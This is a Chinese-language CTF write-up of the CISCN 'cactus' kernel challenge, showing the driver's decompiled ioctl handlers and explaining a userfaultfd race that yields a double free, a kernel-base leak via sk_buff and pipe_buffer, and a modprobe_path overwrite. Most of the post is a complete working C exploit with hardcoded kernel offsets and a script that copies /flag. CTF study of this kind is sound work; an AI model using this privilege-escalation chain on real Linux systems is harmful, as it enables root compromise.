ciscn cactus复现
196082 慢慢好起来

其实这道题很简单,但是因为那个d3kheap卡得太久了并且内核版本是5.13所以我默认这道题目的版本也为5.13了,导致我完全没有去想利用userfaultfd,但题目内核实际版本是5.10.102。

题目分析

这里想问佬们一个问题,就是为什么这道题不能够同时打开两个设备。因为我最开始的思路就是打开两个设备造成UAF,但是就是打不开。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __fastcall kernel_open(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rdi

((void (__fastcall *)(__int64, __int64, __int64))_fentry__)(a1, a2, a3);
if ( !flags )
{
v3 = kmalloc_caches[8];
flags = 1;
buffer = (char *)kmem_cache_alloc_trace(v3, 0xCC0LL, 0x100LL);
if ( buffer )
kernel_open_cold();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall kernel_release(inode *inode, file *filp)
{
char **v2; // rax
int result; // eax

_fentry__(inode, filp);
v2 = addrList;
do
*v2++ = 0LL;
while ( v2 != &addrList[0x20] );
kfree(buffer);
result = 0;
flags = 0;
return result;
}

然后这道题的主要函数就是ioctl其余的对做题不影响就不提了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
// local variable allocation has failed, the output may be wrong!
__int64 __fastcall kernel_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rdx
__int64 result; // rax
__int64 idx_low; // r12
char *v6; // rdi
__int64 v7; // rax
char *v8; // r12
__int64 v9; // rax
__int64 v10; // rdx
unsigned int size; // eax
char *v12; // r13
__int64 v13; // r12
char *buf; // r14
edit_args a4; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v16; // [rsp+18h] [rbp-28h]

_fentry__(file, *(_QWORD *)&cmd);
v16 = __readgsqword(0x28u);
result = 0LL;
if ( cmd == 0x30 )
{
if ( !copy_from_user(&a4, v3, 8LL) )
{
if ( delFlags <= 1 && LODWORD(a4.idx) <= 0x20 )
{
idx_low = LODWORD(a4.idx);
v6 = addrList[LODWORD(a4.idx)];
if ( v6 )
{
kfree(v6);
++delFlags;
addrList[idx_low] = 0LL;
}
}
return 0LL;
}
return -22LL;
}
if ( cmd == 0x50 )
{
if ( !copy_from_user(&a4, v3, 0x18LL) )
{
if ( editFlags <= 1 )
{
size = a4.size;
if ( LODWORD(a4.size) > 0x400 )
size = 0x400;
if ( LODWORD(a4.idx) <= 0x20 )
{
v12 = addrList[LODWORD(a4.idx)];
if ( v12 )
{
v13 = size;
buf = a4.buf;
_check_object_size(v12, size, 0LL);
if ( !copy_from_user(v12, buf, v13) )
{
++editFlags;
return 0LL;
}
}
}
}
return 0LL;
}
return -22LL;
}
if ( cmd != 0x20 )
return result;
if ( copy_from_user(&a4, v3, 0x10LL) )
return -22LL;
if ( addFlags > 1 )
return 0LL;
v7 = kmem_cache_alloc_trace(kmalloc_caches[10], 0xCC0LL, 0x400LL);
v8 = (char *)v7;
if ( !v7 )
return 0LL;
v9 = copy_from_user(v7, a4.size, 0x400LL);
if ( v9 )
return 0LL;
while ( 1 )
{
v10 = (int)v9;
if ( !addrList[v9] )
break;
if ( ++v9 == 0x20 )
return 0LL;
}
++addFlags;
result = 0LL;
addrList[v10] = v8;
return result;
}

可以看到这里分别是add,del,edit三个功能。并且不存在直接的漏洞,不过题目没有加锁的操作。

再就是题目所打开的保护是kaslr,kpti,smep,smap四个保护。

利用分析

构造double free

我们要知道的是在slab管理器中的指向。slab->freelist指向的是我们刚刚free掉的object,然后我们的object中间的某个位置修改为原始是slab->freelist

那么按照题目来看如果我们使用userfaultfd在edit的第二个copy_from_user阻塞进程同时在另一个进程free掉刚刚到object,那么我们在缺陷页处理返回新的页时修改掉object中的指针即可。并且这里采用的方法是partial write。

泄漏基地址

既然有了double free那么后续就很好办了,这里借用上一篇文章中的思路,我们首先申请sk_buff结构体获得object,随后使用pipe_buffer获取同一块object并把ops写到堆上,那么紧接着只需要将pipe_buffer->ops读出即可。

modprobe_path

详细可以参考这篇文章:https://cv196082.gitee.io/2022/08/10/starCTF-2019-hackme/

既然我们有了kernel基地址,那么直接根据偏移获取modprobe_path。同样修改object的指针,构造fake_object指向modprobe_path即可。

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <time.h>

#define SOCKET_NUM 1
#define SK_BUFF_NUM 1
#define PIPE_NUM 1
#define PIPE_NUM2 16

struct pipe_buffer
{
uint64_t page;
uint32_t offset, len;
uint64_t ops;
uint32_t flags;
uint32_t padding;
uint64_t private;
};

struct pipe_buf_operations
{
uint64_t confirm;
uint64_t release;
uint64_t try_steal;
uint64_t get;
};

void errExit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

void RegisterUserfault(void *fault_page, void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page;
ur.range.len = 0x1000;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL, handler, (void *)uffd);
if (s != 0)
errExit("[-] pthread_create");
}

void *edit_handle(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long)arg;
puts("[+] edit handler created");

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] edit handler unblocked");

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(2);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

char *page = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
errExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
*(page + 0x201) = 0x64;

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address &
~(0x1000 - 1);
uc.len = 0x1000;
uc.mode = 0;
uc.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uc) == -1)
errExit("ioctl-UFFDIO_COPY");
puts("[+] edit handler done");
return NULL;
}
}

struct add_arg
{
unsigned long idx;
char *buf;
};

struct edit_arg
{
unsigned long idx;
unsigned long size;
char *buf;
};

struct del_arg
{
unsigned long idx;
};

int fd;

int add(char *buf)
{
struct add_arg arg;
arg.idx = 0;
arg.buf = buf;
return ioctl(fd, 0x20, &arg);
}

int del(unsigned long idx)
{
struct del_arg arg;
arg.idx = idx;
return ioctl(fd, 0x30, &arg);
}

int edit(unsigned long idx, unsigned long size, char *buf)
{
struct edit_arg arg;
arg.idx = idx;
arg.size = size;
arg.buf = buf;
return ioctl(fd, 0x50, &arg);
}

void print_hex(char *buf, int size)
{
int i;
puts("======================================");
printf("data :\n");
for (i = 0; i < (size / 8); i++)
{
if (i % 2 == 0)
{
if (i / 2 < 10)
{
printf("%d ", i / 2);
}
else if (i / 2 < 100)
{
printf("%d ", i / 2);
}
else
{
printf("%d", i / 2);
}
}
printf(" %16llx", *(size_t *)(buf + i * 8));
if (i % 2 == 1)
{
printf("\n");
}
}
puts("======================================");
}

void prepare_mod()
{
system("mkdir -p /tmp");
system("echo '#!/bin/sh' > /tmp/copy.sh");
system("echo 'cp /flag /tmp/myflag' >> /tmp/copy.sh");
system("echo 'chmod 777 /tmp/myflag' >> /tmp/copy.sh");
system("chmod +x /tmp/copy.sh");

system("echo -e '\\xFF\\xFF\\xFF\\xFF' > /tmp/dummy");

system("chmod +x /tmp/dummy");
}

int main()
{
char *buf = malloc(0x4000);
char *page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
unsigned long kernel_base = NULL;
unsigned long kernel_offset = NULL;
unsigned long kernel_addr = NULL;
int sk_sockets[SOCKET_NUM][2];
int pipe_fd[PIPE_NUM][2];
int pipe_fd2[PIPE_NUM2][2];
struct pipe_buffer *pipe_buf_ptr;
char sk_buf[704];
unsigned long modprobe_path;
unsigned long *pointer_buf;
char *flag[0x100];
int flag_fd;

prepare_mod();

for (int i = 0; i < PIPE_NUM2; i++)
{
if (pipe(pipe_fd2[i]) < 0)
errExit("failed to create pipe!");

// write something to activate it
if (write(pipe_fd2[i][1], "7777pray", 8) < 0)
errExit("failed to write the pipe!");
}

for (int i = 0; i < SOCKET_NUM; i++)
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0)
errExit("failed to create socket pair!");

fd = open("/dev/kernelpwn", O_RDWR);
if (fd < 0)
{
printf("[x] open 0 kernelpwn error!%d\n", fd);
return 0;
}

memset(buf, 0, 0x1000);
add(buf);
RegisterUserfault(page, edit_handle);
clock_t start_t, finish_t;
start_t = clock();
int pid = fork();
if (pid < 0)
{
errExit('[-] fork error!');
}
else if (pid == 0)
{
puts("[\033[34m\033[1m*\033[0m] Child process sleeping now...");
del(0);
puts("[\033[34m\033[1m*\033[0m] Child process started.");
exit(0);
}
else
{
puts("[\033[34m\033[1m*\033[0m] trapped in userfaultfd");
edit(0, 0x202, page);
}
finish_t = clock() - start_t;
printf("gap:%d\n", finish_t);
memset(sk_buf, 0, 704);
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], sk_buf, sizeof(sk_buf)) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}
puts("[+] spray sk_buff success");
for (int i = 0; i < PIPE_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
errExit("failed to create pipe!");

if (write(pipe_fd[i][1], "196082", 6) < 0)
errExit("failed to write the pipe!");
}
puts("[+] spray pipe_buffer success");
pipe_buf_ptr = (struct pipe_buffer *)&sk_buf;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], &sk_buf, sizeof(sk_buf)) < 0)
errExit("failed to release sk_buff!");
puts("[*] read success!");
// print_hex(sk_buf, 0x2c0);
if (pipe_buf_ptr->ops > 0xffffffff81000000)
{
printf("\033[32m\033[1m[+] got pipe_buf_ops: \033[0m%p\n",
pipe_buf_ptr->ops);
kernel_addr = (unsigned long *)pipe_buf_ptr->ops;
kernel_base = (kernel_addr - 0x103ed80);
kernel_offset = kernel_base - 0xffffffff81000000;
}
}
}
if (kernel_addr == NULL)
{
printf("[-] leak error!\n");
exit(-1);
}
printf("\033[32m\033[1m[+] kernel base: \033[0m%p \033[32m\033[1moffset: \033[0m%p\n",
kernel_base, kernel_offset);
modprobe_path = kernel_offset + 0xffffffff82a6c000 - 0xe0;
add(buf);
close(pipe_fd[0][0]);
close(pipe_fd[0][1]);
*(unsigned long *)((char *)buf + 0x200) = modprobe_path;
edit(0, 0x300, buf);

if (write(sk_sockets[0][0], sk_buf, sizeof(sk_buf)) < 0)
{
errExit("failed to spray sk_buff!");
}
memset(sk_buf, 0, sizeof(sk_buf));
pointer_buf = (unsigned long *)&sk_buf;
pointer_buf[0] = kernel_offset + 0xffffffff82382ba7;
pointer_buf[1] = kernel_offset + 0xffffffff82382bae;
pointer_buf[2] = kernel_offset + 0xffffffff823a20e0;
pointer_buf[4] = 0x000004e200000000;
pointer_buf[5] = 0xa;
pointer_buf[12] = 0x000004e200000000;
pointer_buf[13] = 0xa;
pointer_buf[20] = 0x000004e200000000;
pointer_buf[21] = 0xa;
strcpy(sk_buf + 0xe0, "/tmp/copy.sh");
pointer_buf[61] = kernel_offset + 0xffffffff82a6c108;
pointer_buf[62] = kernel_offset + 0xffffffff82a6c108;
pointer_buf[63] = 0x32;

if (write(sk_sockets[0][0], sk_buf, sizeof(sk_buf)) < 0)
{
errExit("failed to spray sk_buff!");
}
printf("[*] modprobe_path addr=>%p\n", modprobe_path + 0xe0);
for (int i = 0; i < PIPE_NUM2; i++)
{
close(pipe_fd2[i][0]);
close(pipe_fd2[i][1]);
}

system("/tmp/dummy");
flag_fd = open("/tmp/myflag", O_RDWR);
if (flag_fd < 0)
printf("FAILED to hijack!");
read(flag_fd, flag, 0x100);
write(1, flag, 0x100);
printf("\n");

// del(0);
sleep(10);

return 0;
}

image-20220922173328405

补充一下

根据exp可以可能会存在以这样一个疑问:为什么开始要申请16个pipe_buffer结构体?

上面这个问题我依稀记得我在某篇文章提到过,不过我也没找到,所以这里再做一下解释。在最后利用时我们就已经破坏掉了slab的freelist链表了,但是系统会继续申请很多堆块,所以我们所做的算是保证在申请0x400size的object的时候不会发生kernel panic。


题目链接:https://github.com/196082/196082/blob/main/kernel_pwn/cactus.zip

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量